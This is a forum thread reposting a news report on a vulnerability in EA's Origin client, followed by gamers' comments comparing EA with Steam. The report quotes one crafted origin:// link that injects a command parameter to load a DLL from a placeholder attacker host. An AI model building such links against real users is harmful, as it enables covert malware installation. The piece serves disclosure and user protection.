Bug in EA’s Origin game platform allows attackers to hijack player PCs

[Maniacal]

It works by manipulating the uniform resource identifiers EA's site uses to automatically start games on an end user's machine. By exploiting flaws in the Origin application available for both Macs and PCs, the technique turns EA's popular game store into an attack platform that can covertly install malware on customers' computers.

"The Origin platform allows malicious users to exploit local vulnerabilities or features by abusing the Origin URI handling mechanism," ReVuln researchers Donato Ferrante and Luigi Auriemma wrote in a paper accompanying last week's demonstration. "In other words, an attacker can craft a malicious Internet link to execute malicious code remotely on [a] victim's system, which has Origin installed."

The researchers' demo shows them taking control of a computer that has the Origin client and Crysis 3 game installed. Behind the scenes, the EA platform uses the origin://LaunchGame/71503 link to activate the game. When a targeted user instead clicks on a URI such as origin://LaunchGame/71503?CommandParams= -openautomate \\ATTACKER_IP\evil.dll, the Origin client will load a Windows dynamic link library file of the attackers' choosing on the victim's computer.

Some confirmation prompts give users the option of using the Origin client to open all origin:// links encountered in the future. Many gamers choose this setting so they aren't prompted in the future. Those users who have selected this setting may not be required to take any interaction to be attacked. Users who want to protect themselves should make sure they are prompted before Origin links are processed.

More on the link:

http://arstechnica.com/security/201...atform-allows-attackers-to-hijack-player-pcs/

 

[GoodGame]

Good stuff...take them up on their free EA game as compensation to Sim City buyers.

 

[AlpsStranger]

Oh FFS

God dammit EA! Why can't you just use Steam like everyone else?

 

[Maniacal]

Why can't you just use Steam like everyone else?

They actually are, Steam had a very similar exploit last October iirc.

 

[Ailedhoo]

The BBC's take on the story.

We will have to wait to judge whether EA controls the situation like Valve did with the Steam exploit or EA acts like EA.

 

[GenMarshall]

Oh FFS

God dammit EA! Why can't you just use Steam like everyone else?

They did, but they've removed themselves from Steam once they unleashed their crappy client.